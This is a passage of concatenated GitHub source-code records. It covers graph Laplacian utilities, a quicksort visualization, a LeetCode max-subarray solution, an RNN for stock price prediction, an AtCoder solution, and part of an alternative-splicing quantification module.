sp\n\n# W = [\n# [0 , 0 , 1 , 1 , 1 , 0 , 0 , 0 , 0] ,\n# [0 , 0 , 0 , 0 , 1 , 0 , 0 , 0 , 0] ,\n# [1 , 0 , 0 , 0 , 0 , 1 , 1 , 1 , 0] ,\n# [1 , 0 , 0 , 0 , 0 , 0 , 1 , 1 , 0] ,\n# [1 , 1 , 0 , 0 , 0 , 0 , 0 , 1 , 1] ,\n# [0 , 0 , 1 , 0 , 0 , 0 , 0 , 0 , 0] ,\n# [0 , 0 , 1 , 1 , 0 , 0 , 0 , 0 , 0] ,\n# [0 , 0 , 1 , 1 , 1 , 0 , 0 , 0 , 0] ,\n# [0 , 0 , 0 , 0 , 1 , 0 , 0 , 0 , 0] ,\n# ]\n\n# matrix_graph = np.array(W)\n\ndef diagonal_matrix(W):\n \"\"\"\n Fungsi untuk mmembuat matriks diagonal D \n\n Args:\n W: Matriks W\n\n Returns:\n D: Matriks diagonal D\n \"\"\"\n\n row, column = W.shape # Membuat row dan column\n # print(W.shape)\n D = np.zeros(row*column).reshape(row, column)\n\n # Memasukkan value ke matriks D\n di = W.sum(axis=1)\n for i in range(0, row):\n D[i, i] = di[i]\n \n # print(\"Matriks D \\n\")\n # print(D)\n return D\n\ndef normalized_laplacian(D, W):\n \"\"\"\n Melakukan algoritma normalized laplacian\n\n Args:\n W: Matriks W\n D: Matriks diagonal D\n\n Returns:\n LW: \n \"\"\"\n D = sp.linalg.fractional_matrix_power(D, 0.5)\n D = np.linalg.inv(D)\n LW = D.dot(W).dot(D)\n\n return LW\n\n# matrix_d = diagonal_matrix(matrix_graph)\n# matrix_lw = normalized_laplacian(matrix_d, matrix_graph)\n# print(matrix_lw)\n# A = np.array([\n# [1, 2],\n# [2, 1]\n# ]) \n\n# B = np.array([\n# [3, 4],\n# [4, 3]\n# ]) ","repo_name":"ZhafranBahij/real-time-automatic-tag","sub_path":"normalized_laplacian.py","file_name":"normalized_laplacian.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3528208506","text":"from rcviz import callgraph, viz\n# from recviz import recviz\n\n@viz \ndef partition(a, low, high):\n p = a[high-1]\n i = low\n for j in range(low, high -1):\n if a[j] <= p:\n a[i], a[j] = a[j], a[i]\n i += 1\n a[i], a[high-1] = a[high-1], a[i]\n return i\n\n\ndef quicksort(a, low, high):\n if high - low <= 1:\n return\n middle = partition(a, low, high)\n quicksort(a, low, middle)\n quicksort(a, middle + 1, high)\n\n# a = [43, 1, 5, 7, 5, 8, 29, 11, 2, 3, 52, 42, 69, 100]\na = [2, 3, 1, 0]\nquicksort(a, 0, len(a))\nprint (a)\n\ncallgraph.render(\"sort.svg\")","repo_name":"enrperes/ASD-Lab","sub_path":"Other-files/quicksort.py","file_name":"quicksort.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19542370311","text":"import sys\nclass Solution:\n def maxSubArray(self, nums: List[int]) -> int:\n currMax = nums[0]\n currSum = 0\n for val in nums:\n if currSum < 0:\n currSum = 0\n currSum+= val\n currMax = max(currMax,currSum)\n return currMax\n \n \n \n ","repo_name":"Meerxn/LeetcodeWinterGrind","sub_path":"Arrays/Easy/MaximumSubarray.py","file_name":"MaximumSubarray.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"30726351968","text":"import numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nfrom sklearn.preprocessing import MinMaxScaler\nimport matplotlib.pyplot as plt\nimport keras as keras\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import SimpleRNN\nfrom keras.layers import Dropout\n\ndf = pd.read_csv(\"../input/gooogle-stock-price/Google_Stock_Price_Train.csv\")\ndf_test = pd.read_csv(\"/kaggle/input/gooogle-stock-price/Google_Stock_Price_Test.csv\")\n\ntrain = df.loc[:, [\"Open\"]].values\nscaler = MinMaxScaler()\ntrain_scaled = scaler.fit_transform(train)\n\nplt.plot(train_scaled)\nplt.show()\n\nX_train = []\ny_train = []\ntimesteps = 50\nfor i in range(timesteps, 1258):\n X_train.append(train_scaled[i - timesteps:i, 0])\n y_train.append(train_scaled[i, 0])\nX_train, y_train = np.array(X_train), np.array(y_train)\n\nX_train = np.reshape(X_train, (X_train.shape[0], X_train.shape[1], 1))\n\ny_train = y_train.reshape(-1, 1)\n\nregressor = Sequential()\n\nregressor.add(SimpleRNN(45, return_sequences=True, input_shape=(X_train.shape[1], 1)))\nregressor.add(Dropout(0.15))\n\nregressor.add(SimpleRNN(45, return_sequences=True))\nregressor.add(Dropout(0.15))\n\nregressor.add(SimpleRNN(45, return_sequences=True))\nregressor.add(Dropout(0.15))\n\nregressor.add(SimpleRNN(units=45))\nregressor.add(Dropout(0.15))\n\nregressor.add(Dense(units=1))\n\nregressor.compile(optimizer='adam', loss='mean_squared_error')\n\nregressor.fit(X_train, y_train, epochs=30, batch_size=32)\n\nregressor.compile(optimizer='adam', loss='mean_squared_error')\n\nregressor.fit(X_train, y_train, epochs=30, batch_size=32)\n\nreal_values = df_test.loc[:, [\"Open\"]].values\ndataset_total = pd.concat((df[\"Open\"], df_test[\"Open\"]), axis=0)\ninputs = dataset_total[len(df) - len(df_test) - timesteps:].values.reshape(-1, 1)\ninputs = scaler.transform(inputs)\ninputs.shape\n\nX_test = []\nfor i in range(timesteps, 70):\n X_test.append(inputs[i - timesteps:i, 0])\nX_test = np.array(X_test)\nX_test = np.reshape(X_test, (X_test.shape[0], X_test.shape[1], 1))\npredicted_stock_price = regressor.predict(X_test)\npredicted_stock_price = scaler.inverse_transform(predicted_stock_price)\n\nplt.plot(real_values, color='red', label='Real Google Stock Price')\nplt.plot(predicted_stock_price, color='blue', label='Predicted Google Stock Price')\nplt.title('Google Stock Price Prediction')\nplt.xlabel('Time')\nplt.ylabel('Google Stock Price')\nplt.legend()\nplt.show()\n","repo_name":"dhruvkalia13/ML-journey","sub_path":"7_Recurrent_Neural_Networks/google_stock_pred_rnn.py","file_name":"google_stock_pred_rnn.py","file_ext":"py","file_size_in_byte":2445,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"15104429829","text":"N=int(input())\nW=[input() for _ in range(N)]\nhis=set()\nok=True\nlc=W[0][0]\nfor w in W:\n\tif w in his or lc != w[0]:\n\t\tok=False\n\t\tbreak\n\this.add(w)\n\tlc=w[len(w)-1]\nprint(\"Yes\" if ok else \"No\")","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/AtCoder/abc109/B/4930159.py","file_name":"4930159.py","file_ext":"py","file_size_in_byte":189,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"74482602151","text":"import numpy as np\nimport pickle\nimport h5py\nimport sys\nimport os\n\nif __package__ is None:\n __package__ = 'modules.alt_splice'\n\nfrom ..utils import *\nfrom ..helpers import *\n\ndef quantify_mult_exon_skip(event, gene, counts_segments, counts_edges):\n\n cov = np.zeros((2, ), dtype='float')\n\n sg = gene.splicegraph\n segs = gene.segmentgraph\n\n seg_lens = segs.segments[1, :] - segs.segments[0, :]\n seg_shape = segs.seg_edges.shape[0]\n order = 'C'\n offset = 0\n\n ### find exons corresponding to event\n idx_exon_pre = np.where((sg.vertices[0, :] == event.exons2[0, 0]) & (sg.vertices[1, :] == event.exons2[0, 1]))[0]\n idx_exon_aft = np.where((sg.vertices[0, :] == event.exons2[-1, 0]) & (sg.vertices[1, :] == event.exons2[-1, 1]))[0]\n seg_exons = []\n for i in range(1, event.exons2.shape[0] - 1):\n tmp = np.where((sg.vertices[0, :] == event.exons2[i, 0]) & (sg.vertices[1, :] == event.exons2[i, 1]))[0]\n seg_exons.append(np.where(segs.seg_match[tmp, :])[1])\n \n ### find segments corresponding to exons\n seg_exon_pre = np.sort(np.where(segs.seg_match[idx_exon_pre, :])[1])\n seg_exon_aft = np.sort(np.where(segs.seg_match[idx_exon_aft, :])[1])\n\n seg_exons_u = np.sort(np.unique([x for sublist in seg_exons for x in sublist]))\n\n ### inner exons_cov\n cov[0] = np.sum(counts_segments[seg_exons_u] * seg_lens[seg_exons_u]) / np.sum(seg_lens[seg_exons_u])\n\n ### check intron confirmation as sum of valid intron scores\n ### intron score is the number of reads confirming this intron\n # exon_pre_exon_conf\n idx1 = np.where(counts_edges[:, 0] == np.ravel_multi_index([seg_exon_pre[-1], seg_exons[0][0]], seg_shape, order=order) + offset)[0]\n if len(idx1.shape) > 0 and idx1.shape[0] > 0:\n cov[0] += counts_edges[idx1[0], 1]\n # exon_exon_aft_conf\n idx2 = np.where(counts_edges[:, 0] == np.ravel_multi_index([seg_exons[-1][-1], seg_exon_aft[0]], seg_shape, order=order) + offset)[0]\n if len(idx2.shape) > 0 and idx2.shape[0] > 0:\n cov[0] += counts_edges[idx2[0], 1]\n # exon_pre_exon_aft_conf\n idx3 = np.where(counts_edges[:, 0] == np.ravel_multi_index([seg_exon_pre[-1], seg_exon_aft[0]], seg_shape, order=order) + offset)[0]\n if len(idx3.shape) > 0 and idx3.shape[0] > 0:\n cov[1] = counts_edges[idx3[0], 1]\n for i in range(len(seg_exons) - 1):\n # sum_inner_exon_conf\n idx4 = np.where(counts_edges[:, 0] == np.ravel_multi_index([seg_exons[i][-1], seg_exons[i+1][0]], seg_shape, order=order) + offset)[0]\n if len(idx4.shape) > 0 and idx4.shape[0] > 0:\n cov[0] += counts_edges[idx4[0], 1]\n\n return cov\n\n\ndef quantify_intron_retention(event, gene, counts_segments, counts_edges, counts_seg_pos):\n\n cov = np.zeros((2, ), dtype='float')\n sg = gene.splicegraph\n segs = gene.segmentgraph\n\n seg_lens = segs.segments[1, :] - segs.segments[0, :]\n seg_shape = segs.seg_edges.shape\n order = 'C'\n offset = 0\n\n ### find exons corresponding to event\n idx_exon1 = np.where((sg.vertices[0, :] == event.exons1[0, 0]) & (sg.vertices[1, :] == event.exons1[0, 1]))[0]\n idx_exon2 = np.where((sg.vertices[0, :] == event.exons1[1, 0]) & (sg.vertices[1, :] == event.exons1[1, 1]))[0]\n\n ### find segments corresponding to exons\n seg_exon1 = np.sort(np.where(segs.seg_match[idx_exon1, :])[1])\n seg_exon2 = np.sort(np.where(segs.seg_match[idx_exon2, :])[1])\n seg_all = np.arange(seg_exon1[0], seg_exon2[-1])\n\n seg_intron = np.setdiff1d(seg_all, seg_exon1)\n seg_intron = np.setdiff1d(seg_intron, seg_exon2)\n assert(seg_intron.shape[0] > 0)\n\n ### compute exon coverages as mean of position wise coverage\n # intron_cov\n cov[0] = np.sum(counts_segments[seg_intron] * seg_lens[seg_intron]) / np.sum(seg_lens[seg_intron])\n\n ### check intron confirmation as sum of valid intron scores\n ### intron score is the number of reads confirming this intron\n # intron conf\n idx = np.where(counts_edges[:, 0] == np.ravel_multi_index([seg_exon1[-1], seg_exon2[0]], seg_shape, order=order) + offset)[0]\n cov[1] = counts_edges[idx, 1]\n\n return cov\n\n\ndef quantify_exon_skip(event, gene, counts_segments, counts_edges):\n\n cov = np.zeros((2, ), dtype='float')\n sg = gene.splicegraph\n segs = gene.segmentgraph\n\n seg_lens = segs.segments[1, :] - segs.segments[0, :]\n seg_shape = segs.seg_edges.shape\n order = 'C'\n offset = 0\n\n ### find exons corresponding to event\n idx_exon_pre = np.where((sg.vertices[0, :] == event.exons2[0, 0]) & (sg.vertices[1, :] == event.exons2[0, 1]))[0]\n idx_exon = np.where((sg.vertices[0, :] == event.exons2[1, 0]) & (sg.vertices[1, :] == event.exons2[1, 1]))[0]\n idx_exon_aft = np.where((sg.vertices[0, :] == event.exons2[2, 0]) & (sg.vertices[1, :] == event.exons2[2, 1]))[0]\n\n ### find segments corresponding to exons\n seg_exon_pre = np.sort(np.where(segs.seg_match[idx_exon_pre, :])[1])\n seg_exon_aft = np.sort(np.where(segs.seg_match[idx_exon_aft, :])[1])\n seg_exon = np.sort(np.where(segs.seg_match[idx_exon, :])[1])\n\n # get inner exon cov\n cov[0] = np.sum(counts_segments[seg_exon] * seg_lens[seg_exon]) /np.sum(seg_lens[seg_exon])\n\n ### check intron confirmation as sum of valid intron scores\n ### intron score is the number of reads confirming this intron\n # exon_pre_exon_conf\n idx1 = np.where(counts_edges[:, 0] == np.ravel_multi_index([seg_exon_pre[-1], seg_exon[0]], seg_shape, order=order) + offset)[0]\n cov[0] += counts_edges[idx1, 1]\n # exon_exon_aft_conf\n idx2 = np.where(counts_edges[:, 0] == np.ravel_multi_index([seg_exon[-1], seg_exon_aft[0]], seg_shape, order=order) + offset)[0]\n cov[0] += counts_edges[idx2, 1]\n # exon_pre_exon_aft_conf\n idx3 = np.where(counts_edges[:, 0] == np.ravel_multi_index([seg_exon_pre[-1], seg_exon_aft[0]], seg_shape, order=order) + offset)[0]\n cov[1] = counts_edges[idx3, 1]\n\n return cov\n\n\ndef quantify_alt_prime(event, gene, counts_segments, counts_edges):\n\n cov = np.zeros((2, ), dtype='float')\n\n sg = gene.splicegraph\n segs = gene.segmentgraph\n\n seg_lens = segs.segments[1, :] - segs.segments[0, :]\n seg_shape = segs.seg_edges.shape[0]\n\n ### find exons corresponding to event\n idx_exon11 = np.where((sg.vertices[0, :] == event.exons1[0, 0]) & (sg.vertices[1, :] == event.exons1[0, 1]))[0]\n if idx_exon11.shape[0] == 0:\n segs_exon11 = np.where((segs.segments[0, :] >= event.exons1[0, 0]) & (segs.segments[1, :] <= event.exons1[0, 1]))[0]\n else:\n segs_exon11 = np.where(segs.seg_match[idx_exon11, :])[1]\n idx_exon12 = np.where((sg.vertices[0, :] == event.exons1[1, 0]) & (sg.vertices[1, :] == event.exons1[1, 1]))[0]\n if idx_exon12.shape[0] == 0:\n segs_exon12 = np.where((segs.segments[0, :] >= event.exons1[1, 0]) & (segs.segments[1, :] <= event.exons1[1, 1]))[0]\n else:\n segs_exon12 = np.where(segs.seg_match[idx_exon12, :])[1]\n idx_exon21 = np.where((sg.vertices[0, :] == event.exons2[0, 0]) & (sg.vertices[1, :] == event.exons2[0, 1]))[0]\n if idx_exon21.shape[0] == 0:\n segs_exon21 = np.where((segs.segments[0, :] >= event.exons2[0, 0]) & (segs.segments[1, :] <= event.exons2[0, 1]))[0]\n else:\n segs_exon21 = np.where(segs.seg_match[idx_exon21, :])[1]\n idx_exon22 = np.where((sg.vertices[0, :] == event.exons2[1, 0]) & (sg.vertices[1, :] == event.exons2[1, 1]))[0]\n if idx_exon22.shape[0] == 0:\n segs_exon22 = np.where((segs.segments[0, :] >= event.exons2[1, 0]) & (segs.segments[1, :] <= event.exons2[1, 1]))[0]\n else:\n segs_exon22 = np.where(segs.seg_match[idx_exon22, :] > 0)[1]\n\n assert(segs_exon11.shape[0] > 0)\n assert(segs_exon12.shape[0] > 0)\n assert(segs_exon21.shape[0] > 0)\n assert(segs_exon22.shape[0] > 0)\n\n if np.all(segs_exon11 == segs_exon21):\n seg_diff = np.setdiff1d(segs_exon12, segs_exon22)\n if seg_diff.shape[0] == 0:\n seg_diff = np.setdiff1d(segs_exon22, segs_exon12)\n elif np.all(segs_exon12 == segs_exon22):\n seg_diff = np.setdiff1d(segs_exon11, segs_exon21)\n if seg_diff.shape[0] == 0:\n seg_diff = np.setdiff1d(segs_exon21, segs_exon11)\n else:\n print(\"ERROR: both exons differ in alt prime event in verify_alt_prime\", file=sys.stderr)\n sys.exit(1)\n\n # exon_diff_cov\n if seg_diff in segs_exon11 or seg_diff in segs_exon12:\n cov[0] += np.sum(counts_segments[seg_diff] * seg_lens[seg_diff]) / np.sum(seg_lens[seg_diff])\n elif seg_diff in segs_exon21 or seg_diff in segs_exon22:\n cov[1] += np.sum(counts_segments[seg_diff] * seg_lens[seg_diff]) / np.sum(seg_lens[seg_diff])\n else:\n raise Exception('differential segment not part of any other segment')\n \n ### check intron confirmations as sum of valid intron scores\n ### intron score is the number of reads confirming this intron\n # intron1_conf \n idx = np.where(counts_edges[:, 0] == np.ravel_multi_index([segs_exon11[-1], segs_exon12[0]], seg_shape))[0]\n assert(idx.shape[0] > 0)\n cov[0] += counts_edges[idx, 1]\n # intron2_conf \n idx = np.where(counts_edges[:, 0] == np.ravel_multi_index([segs_exon21[-1], segs_exon22[0]], seg_shape))[0]\n assert(idx.shape[0] > 0)\n cov[1] += counts_edges[idx, 1]\n\n return cov\n\n\ndef quantify_mutex_exons(event, gene, counts_segments, counts_edges):\n\n sg = gene.splicegraph\n segs = gene.segmentgraph\n\n seg_lens = segs.segments[1, :] - segs.segments[0, :]\n seg_shape = segs.seg_edges.shape[0]\n order = 'C'\n offset = 0\n\n ### find exons corresponding to event\n idx_exon_pre = np.where((sg.vertices[0, :] == event.exons1[0, 0]) & (sg.vertices[1, :] == event.exons1[0, 1]))[0]\n idx_exon_aft = np.where((sg.vertices[0, :] == event.exons1[-1, 0]) & (sg.vertices[1, :] == event.exons1[-1, 1]))[0]\n idx_exon1 = np.where((sg.vertices[0, :] == event.exons1[1, 0]) & (sg.vertices[1, :] == event.exons1[1, 1]))[0]\n idx_exon2 = np.where((sg.vertices[0, :] == event.exons2[1, 0]) & (sg.vertices[1, :] == event.exons2[1, 1]))[0]\n \n ### find segments corresponding to exons\n seg_exon_pre = np.sort(np.where(segs.seg_match[idx_exon_pre, :])[1])\n seg_exon_aft = np.sort(np.where(segs.seg_match[idx_exon_aft, :])[1])\n seg_exon1 = np.sort(np.where(segs.seg_match[idx_exon1, :])[1])\n seg_exon2 = np.sort(np.where(segs.seg_match[idx_exon2, :])[1])\n\n # exon1 cov\n cov[0] = np.sum(counts_segments[seg_exon1] * seg_lens[seg_exon1]) / np.sum(seg_lens[seg_exon1])\n # exon2 cov\n cov[1] = np.sum(counts_segments[seg_exon2] * seg_lens[seg_exon2]) / np.sum(seg_lens[seg_exon2])\n\n ### check intron confirmation as sum of valid intron scores\n ### intron score is the number of reads confirming this intron\n # exon_pre_exon1_conf\n idx1 = np.where(counts_edges[:, 0] == np.ravel_multi_index([seg_exon_pre[-1], seg_exon1[0]], seg_shape, order=order) + offset)[0]\n if len(idx1.shape) > 0 and idx1.shape[0] > 0:\n cov[0] += counts_edges[idx1[0], 1]\n # exon_pre_exon2_conf\n idx2 = np.where(counts_edges[:, 0] == np.ravel_multi_index([seg_exon_pre[-1], seg_exon2[0]], seg_shape, order=order) + offset)[0]\n if len(idx2.shape) > 0 and idx2.shape[0] > 0:\n cov[1] += counts_edges[idx2[0], 1]\n # exon1_exon_aft_conf\n idx3 = np.where(counts_edges[:, 0] == np.ravel_multi_index([seg_exon1[-1], seg_exon_aft[0]], seg_shape, order=order) + offset)[0]\n if len(idx3.shape) > 0 and idx3.shape[0] > 0:\n cov[0] += counts_edges[idx3[0], 1]\n # exon2_exon_aft_conf\n idx4 = np.where(counts_edges[:, 0] == np.ravel_multi_index([seg_exon2[-1], seg_exon_aft[0]], seg_shape, order=order) + offset)[0]\n if len(idx4.shape) > 0 and idx4.shape[0] > 0:\n cov[1] += counts_edges[idx4[0], 1]\n\n return cov\n\n\ndef quantify_from_counted_events(event_fn, sample_idx1=None, sample_idx2=None, event_type=None, options=None, out_fn=None, gen_event_ids=False, high_mem=False):\n\n ### read count_data from event HDF5\n if high_mem:\n IN = h5py.File(event_fn, 'r', driver='core', backing_store=False)\n else:\n IN = h5py.File(event_fn, 'r')\n \n ### get indices of confident events\n conf_idx = IN['conf_idx'][:].astype('int')\n if 'filter_idx' in IN:\n event_idx = IN['filter_idx'][:].astype('int')\n else:\n event_idx = conf_idx.copy()\n event_features = decodeUTF8(IN['event_features'][:])\n\n ### arrays to collect exon coordinates for length normalization\n pos0e = []\n pos1e = []\n\n ### get event features we need to include for counting\n if event_type == 'exon_skip':\n fidx0i = [np.where(event_features == 'e1e3_conf')[0]]\n fidx1i = [np.where(event_features == 'e1e2_conf')[0], np.where(event_features == 'e2e3_conf')[0]] \n if options.use_exon_counts:\n fidx0e = []\n fidx1e = [np.where(event_features == 'e2_cov')[0]]\n pos1e = [IN['event_pos'][:, [2, 3]].astype('int')]\n elif event_type == 'intron_retention':\n fidx0i = [np.where(event_features == 'e1e3_conf')[0]]\n fidx1i = []\n if options.use_exon_counts:\n fidx0e = []\n fidx1e = [np.where(event_features == 'e2_cov')[0]]\n pos1e = [IN['event_pos'][:, [1, 2]].astype('int')]\n elif event_type in ['alt_3prime', 'alt_5prime']:\n fidx0i = [np.where(event_features == 'e1e3_conf')[0]]\n fidx1i = [np.where(event_features == 'e2_conf')[0]]\n if options.use_exon_counts:\n fidx0e = []\n fidx1e = [np.where(event_features == 'e2_cov')[0]]\n pos1e = [np.zeros((IN['event_pos'].shape[0], 2), dtype='int')]\n idx = np.where((IN['event_pos'][:, 4] == IN['event_pos'][:, 6]) & (IN['event_pos'][:, 1] < IN['event_pos'][:, 3]))[0]\n pos1e[0][idx, :] = IN['event_pos'][:, [1, 3]][idx, :].astype('int')\n idx = np.where((IN['event_pos'][:, 4] == IN['event_pos'][:, 6]) & (IN['event_pos'][:, 1] > IN['event_pos'][:, 3]))[0]\n pos1e[0][idx, :] = IN['event_pos'][:, [1, 3]][idx, :].astype('int')[:, ::-1]\n idx = np.where((IN['event_pos'][:, 1] == IN['event_pos'][:, 3]) & (IN['event_pos'][:, 4] < IN['event_pos'][:, 6]))[0]\n pos1e[0][idx, :] = IN['event_pos'][:, [4, 6]][idx, :].astype('int')\n idx = np.where((IN['event_pos'][:, 1] == IN['event_pos'][:, 3]) & (IN['event_pos'][:, 4] > IN['event_pos'][:, 6]))[0]\n pos1e[0][idx, :] = IN['event_pos'][:, [4, 6]][idx, :].astype('int')[:, ::-1]\n elif event_type == 'mult_exon_skip':\n fidx0i = [np.where(event_features == 'e1e3_conf')[0]]\n fidx1i = [np.where(event_features == 'e1e2_conf')[0], np.where(event_features == 'e2e3_conf')[0], np.where(event_features == 'sum_e2_conf')[0]] \n tmp_idx = np.where(event_features == 'len_e2')[0]\n if options.use_exon_counts:\n fidx0e = []\n fidx1e = [np.where(event_features == 'e2_cov')[0]]\n pos1e = [np.c_[np.zeros((IN['event_counts'].shape[2],), dtype='int'), IN['event_counts'][0, tmp_idx, :].astype('int')]]\n elif event_type == 'mutex_exons':\n fidx0i = [np.where(event_features == 'e1e2_conf')[0], np.where(event_features == 'e2e4_conf')[0]]\n fidx1i = [np.where(event_features == 'e1e3_conf')[0], np.where(event_features == 'e3e4_conf')[0]] \n if options.use_exon_counts:\n fidx0e = [np.where(event_features == 'e2_cov')[0]]\n fidx1e = [np.where(event_features == 'e3_cov')[0]]\n pos0e = [IN['event_pos'][:, [2, 3]].astype('int')]\n pos1e = [IN['event_pos'][:, [4, 5]].astype('int')]\n else:\n raise Error('Event type %s either not known or not implemented for testing yet' % event_type)\n\n ### init coverage matrix\n cov = [np.zeros((conf_idx.shape[0], sample_idx1.shape[0] + sample_idx2.shape[0]), dtype='float'), np.zeros((conf_idx.shape[0], sample_idx1.shape[0] + sample_idx2.shape[0]), dtype='float')]\n\n for c in pos0e:\n assert(np.all((c[:, 1] - c[:, 0]) >= 0))\n for c in pos1e:\n assert(np.all((c[:, 1] - c[:, 0]) >= 0))\n\n ### tackle unsorted input\n sidx1 = np.argsort(sample_idx1)\n sidx2 = np.argsort(sample_idx2)\n ridx1 = np.argsort(sidx1)\n ridx2 = np.argsort(sidx2)\n sample_idx1 = sample_idx1[sidx1]\n sample_idx2 = sample_idx2[sidx2]\n idx1_len = sample_idx1.shape[0]\n\n ### get counts for exon segments\n if options.use_exon_counts:\n if options.verbose:\n print('Collecting exon segment expression values')\n for f, ff in enumerate(fidx0e):\n cov[0][:, :idx1_len] += (IN['event_counts'][sample_idx1, ff[0], :][:, conf_idx].T * (pos0e[f][conf_idx, 1].T - pos0e[f][conf_idx, 0])[:, np.newaxis]) / options.readlen\n cov[0][:, idx1_len:] += (IN['event_counts'][sample_idx2, ff[0], :][:, conf_idx].T * (pos0e[f][conf_idx, 1].T - pos0e[f][conf_idx, 0])[:, np.newaxis]) / options.readlen\n for f, ff in enumerate(fidx1e):\n cov[1][:, :idx1_len] += (IN['event_counts'][sample_idx1, ff[0], :][:, conf_idx].T * (pos1e[f][conf_idx, 1].T - pos1e[f][conf_idx, 0])[:, np.newaxis]) / options.readlen\n cov[1][:, idx1_len:] += (IN['event_counts'][sample_idx2, ff[0], :][:, conf_idx].T * (pos1e[f][conf_idx, 1].T - pos1e[f][conf_idx, 0])[:, np.newaxis]) / options.readlen\n\n ### get counts for introns\n if options.verbose:\n print('Collecting intron confirmation values')\n cnt1 = []\n cnt2 = []\n for f in fidx0i:\n cnt1.append(IN['event_counts'][sample_idx1, f[0], :][:, conf_idx].T)\n cnt2.append(IN['event_counts'][sample_idx2, f[0], :][:, conf_idx].T)\n #cov[0][:, :idx1_len] += IN['event_counts'][sample_idx1, f[0], :][:, conf_idx].T\n #cov[0][:, idx1_len:] += IN['event_counts'][sample_idx2, f[0], :][:, conf_idx].T\n if len(fidx0i) > 0:\n cov[0][:, :idx1_len] += np.array(cnt1).min(axis=0)\n cov[0][:, idx1_len:] += np.array(cnt2).min(axis=0)\n cnt1 = []\n cnt2 = []\n for f in fidx1i:\n #cov[1][:, :idx1_len] += IN['event_counts'][sample_idx1, f[0], :][:, conf_idx].T\n #cov[1][:, idx1_len:] += IN['event_counts'][sample_idx2, f[0], :][:, conf_idx].T\n cnt1.append(IN['event_counts'][sample_idx1, f[0], :][:, conf_idx].T)\n cnt2.append(IN['event_counts'][sample_idx2, f[0], :][:, conf_idx].T)\n if len(fidx1i) > 0:\n cov[1][:, :idx1_len] += np.array(cnt1).min(axis=0)\n cov[1][:, idx1_len:] += np.array(cnt2).min(axis=0)\n del cnt1, cnt2\n\n ### get psi values\n psi = np.c_[IN['psi'][:, conf_idx][sample_idx1, :].T, IN['psi'][:, conf_idx][sample_idx2, :].T]\n\n ### get sample list\n samples1 = decodeUTF8(IN['samples'][:][sample_idx1])\n cov[0][:, :idx1_len] = cov[0][:, :idx1_len]\n cov[1][:, :idx1_len] = cov[1][:, :idx1_len]\n samples2 = decodeUTF8(IN['samples'][:][sample_idx2])\n cov[0][:, idx1_len:] = cov[0][:, idx1_len:]\n cov[1][:, idx1_len:] = cov[1][:, idx1_len:]\n \n ## re-establish the original sorting\n samples = np.r_[samples1[ridx1], samples2[ridx2]]\n cov[0][:, :idx1_len] = cov[0][:, :idx1_len][:, ridx1]\n cov[0][:, idx1_len:] = cov[0][:, idx1_len:][:, ridx2]\n cov[1][:, :idx1_len] = cov[1][:, :idx1_len][:, ridx1]\n cov[1][:, idx1_len:] = cov[1][:, idx1_len:][:, ridx2]\n\n if samples[0].endswith('npz'):\n samples = np.array([re.sub(r'.[nN][pP][zZ]$', '', x) for x in samples])\n\n ### get list of event IDs - we will use these to make event forms unique\n event_ids = None\n if gen_event_ids:\n event_ids = get_event_ids(IN, event_type, conf_idx, options)\n\n ### get gene index\n gene_idx = IN['gene_idx'][:].astype('int')\n ### only keep confident events\n gene_idx = gene_idx[conf_idx]\n\n IN.close()\n\n ### round to the closest int\n cov[0] = np.floor(cov[0])\n cov[1] = np.floor(cov[1])\n\n return (cov, psi, gene_idx, event_idx, event_ids, samples)\n\n\ndef quantify_from_graph(ev, sample_idx=None, event_type=None, options=None, out_fn=None, fn_merge=None):\n\n if fn_merge is None:\n if options.validate_sg:\n fn_merge = get_filename('fn_out_merge_val', options)\n else:\n fn_merge = get_filename('fn_out_merge', options)\n\n genes = pickle.load(open(fn_merge, 'r'))[0]\n fn_count = fn_merge.replace('pickle', 'count.hdf5')\n\n ### load count index data from hdf5\n IN = h5py.File(fn_count, 'r')\n gene_ids_segs = IN['gene_ids_segs'][:].astype('int')\n gene_ids_edges = IN['gene_ids_edges'][:].astype('int')\n if len(gene_ids_segs.shape) > 1:\n gene_ids_segs = gene_ids_segs[0, :]\n if len(gene_ids_edges.shape) > 1:\n gene_ids_edges = gene_ids_edges[0, :]\n\n ### sort events by gene idx\n s_idx = np.argsort([x.gene_idx for x in ev])\n ev = ev[s_idx]\n old_idx = np.argsort(s_idx)\n\n ### find gene idx boundaries\n assert(isequal(gene_ids_segs, np.sort(gene_ids_segs)))\n assert(isequal(gene_ids_edges, np.sort(gene_ids_edges)))\n\n tmp, genes_f_idx_segs = np.unique(gene_ids_segs, return_index=True)\n genes_l_idx_segs = np.r_[genes_f_idx_segs[1:] - 1, gene_ids_segs.shape[0]]\n\n tmp, genes_f_idx_edges = np.unique(gene_ids_edges, return_index=True)\n genes_l_idx_edges = np.r_[genes_f_idx_edges[1:] - 1, gene_ids_edges.shape[0]]\n\n gr_idx_segs = 0\n gr_idx_edges = 0\n counts = []\n for i in range(ev.shape[0]):\n sys.stdout.write('.')\n if i % 10 == 0:\n sys.stdout.write('%i\\n' % i)\n sys.stdout.flush()\n offset = 0\n g_idx = ev[i].gene_idx\n\n while gene_ids_segs[genes_f_idx_segs[gr_idx_segs]] < g_idx:\n gr_idx_segs += 1\n assert(gene_ids_segs[genes_f_idx_segs[gr_idx_segs]] == g_idx)\n\n while gene_ids_edges[genes_f_idx_edges[gr_idx_edges]] < g_idx:\n gr_idx_edges += 1\n assert(gene_ids_edges[genes_f_idx_edges[gr_idx_edges]] == g_idx)\n\n ### laod relevant count data from HDF5\n segments = IN['segments'][genes_f_idx_segs[gr_idx_segs]:genes_l_idx_segs[gr_idx_segs]+1, sample_idx]\n seg_pos = IN['seg_pos'][genes_f_idx_segs[gr_idx_segs]:genes_l_idx_segs[gr_idx_segs]+1, sample_idx]\n edges = 